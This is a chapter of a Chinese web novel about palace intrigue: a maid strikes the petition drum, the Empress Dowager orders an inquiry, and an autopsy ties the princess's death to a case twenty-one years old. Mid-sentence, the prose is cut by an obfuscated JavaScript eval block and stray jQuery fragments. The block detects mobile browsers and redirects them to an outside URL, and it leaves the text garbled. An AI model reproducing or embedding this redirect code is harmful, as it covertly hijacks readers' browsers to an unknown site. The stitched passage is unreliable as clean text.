午门外，芍药仓皇犹豫，终于在长公主沉稳冷静的目光下，仿佛下定某种决心，叩响登闻鼓。


    先帝曾言，“登闻鼓响，朕必当亲临。”


    当然是夸张的说法，但充分说明登闻鼓的意义。若有急案要案冤案，叩响登闻鼓，必能上达天听。


    "来者何人？有何冤情？"


    看管登闻鼓的官吏过来询问，芍药跪地，声音一字一顿，“民女公主府侍女，怀淑公主死因有异，请皇上明查。”


    如同石头投入沸水，一瞬间，附近的百姓喧腾开来，官吏表情陡然严肃，一左一右押着芍药走远，临行前，芍药下意识回头。


    不远处的马车里，盛曦站在门口，看见对方的视线，点点头，无声道，“去吧，别怕。”


    这是她想到的，帮芍药保命的办法。


    她私下处理这事，未必能抗衡太后，但把事情闹大，涉及到整个后宫乃至是朝堂，自然有人牵制对方。她私下也和东厂和大理寺打了招呼，肯定不发生什么“自杀”事件。


    距离很远，芍药听不见长公主的声音，只能隐约看见对方的身影。黑发素裙，眼角眉梢无一不艳丽凌厉，可目光相接时，又能感受到眼底深处的温柔与悲悯，那是她从未在怀淑公主眼里看到过的东西，也是让她选择向对方求助的原因。


    只短短一个对视，芍药好像真的感受到某种安慰和力量，脚步坚定，跟着官吏离开。


    对着暗中跟随的东厂太监使了个眼色，盛曦回到马车，缙太子坐在她对面，已经泡好热茶。


    他看着深红宫门，温声开口，“您帮她，必定会引起怀疑。”


    “也许吧，但总不能因为这样，就不做这事。”盛曦捧着茶杯，懒散倚在窗边，嗅一口茶叶的香气，“比起对自己有利的选择，本宫更愿意做正确的选择。”


    “长公主高义。”


    李淮琢转头，无声挑眉，借着喝茶的动作，遮掩住眸中的嗤讽。


    盛曦并未看见对方的动作，而是陷入沉思。


    话说，她都能穿越了，这个世界不会有鬼吧？要是长公主和公主两姐妹地下碰头，都认定是她害死她们，没事出来报个仇托个梦，那她不是傻眼了！


    大理寺卿呢，快过来查案啊，你睡得着么？本宫睡不着！


    -


    另一边的皇宫里，太后甚至比皇上先到一步，抓住芍药的手，以能捏碎骨头的力道，厉声道，“本宫的灿儿究竟怎么死的！”


    芍药噗通一下跪地，“回太后，公主死前，曾吃下一粒药，那药似乎是宫里的人给她的，奴婢记得，大约是五年前的某日。”她按照长公主教她的话回道。


    太后来不及再问什么，皇帝已经带着大理寺卿、刑部尚书、都察院左御史赶来，这几人下朝后都没走，一直在宫里。


    太后看都没看来人，啪——一巴掌重重打在芍药脸上，“一定是哪个贱人害本宫的灿儿。”


    五年前，发生的事很多。


    先帝最后一次领兵打仗，大胜，但腹部被箭贯穿，当时还是皇后的太后，暗中去了边疆，将先帝接回京城，一路悉心照料，终于夺回一条命。也是从那起，先帝重用公叔首辅。


    同年，淑妃十月诞下九公主，郑答应冬月诞下六皇子，是先帝最后两个孩子。


    帝后至少半年时间不在宫里，前朝后宫出了许多事，后宫又有两个孩子……想到这里，太后目光一沉。


    小皇帝皮笑肉不笑，“太后别急，如今几位大人在这，一定能将皇妹的死查清楚。”


    太后眼神阴狠，犹疑愤怒的视线在几人身上巡视许久，“本宫给你们三天时间，查不出来，本宫要你们的命！”


    “是。”大臣们领命。


    没有太后的阻挠，调查终于能顺利推行下去，三法司也绝非名副其实，各方审理有条不紊地推进。


    公主府所有侍女小厮被带走问话，仵作与御医检查公主尸身，以及太后本人，她几乎发了疯，去后宫逼问每一位太妃。


    各位太妃亦有父兄在朝上，弹劾的帖子如潮水般涌来，却被小皇帝压在案上，大臣们反复询问，也只能得到语焉不详的回复，“太后过于伤心。”“朕也没有办法。”


    朝臣们看向公叔首辅的目光愈发不善。


    公叔慈也隐隐感到不安，但他数次求见太后，皆被拒绝，下朝回家后，一怒之下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533798|186452||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    摔碎笔筒。


    公叔夫人高白英匆匆赶来，“老爷息怒，别气坏了身体。”


    “陛下和太后究竟什么意思？”两人的态度让人暗暗心惊，总有种风雨欲满楼的感觉，公叔慈捏了捏眉心，“太后今天依旧不见，夫人，你下的帖子呢？”


    高白英摇头：“太后也回绝了我。”


    “唉。这件事到底怎么收场，夫人，我心中不安啊。”


    “老爷放心吧，灿儿在天之灵，也会保护咱们的，”高夫人温声安慰，谁都没看见，她眼中隐隐的不安和担忧。


    -


    第三日，也是太后定下的最后一日，朝堂上，三法司终于给出一个比较有用的信息。


    消息来源于仵作和太医，这也是最让人震惊、以及闹到现在大家还没翻脸的原因——


    太后允许验尸。


    谁都能看出太后想找到真凶的决心，所以太妃们再不满，暂时也没和太后对着干，谁都不要惹一个失去孩子的母亲。


    和华大夫那种半吊子不一样，仵作们十分专业，将怀淑公主的尸体检测了个遍，确定绝对没有外伤，死因是出血过多，死前所服用的药丸具体是什么不可知，但大概有催产和活血功效，或许还能止疼，所以公主死时，侍女小厮们未能听到声音。


    还有最重要的一点，公主死时表情有异，掰开眼皮后，瞳孔扩张，仿佛看到极恐怖的场景，偏偏其余四官没有明显变化。


    太医院院使今年已经八十，身体依旧硬朗，出现在朝堂上也不卑不亢，“既然此药乃宫中所出，臣查阅了五十载宫妃、皇室女子死状，只查出一例相同的情况。”


    太后声音沙哑而尖锐，满腔怒火，“谁。”


    “二十一年前，靖王府，邓夫人。”


    靖王，先帝还未封太子时的封号。


    二十一年，太后嫁入王府那一年。


    公叔慈双手一颤，笏板摔在了大殿上。


    而这世间，永远有人欢喜有人愁。


    消息传到长公主府时，盛曦在和缙太子学识字，李淮琢修长的五指落在一个‘安’字上面，声音温和，


    “如此，您也可以安心了。”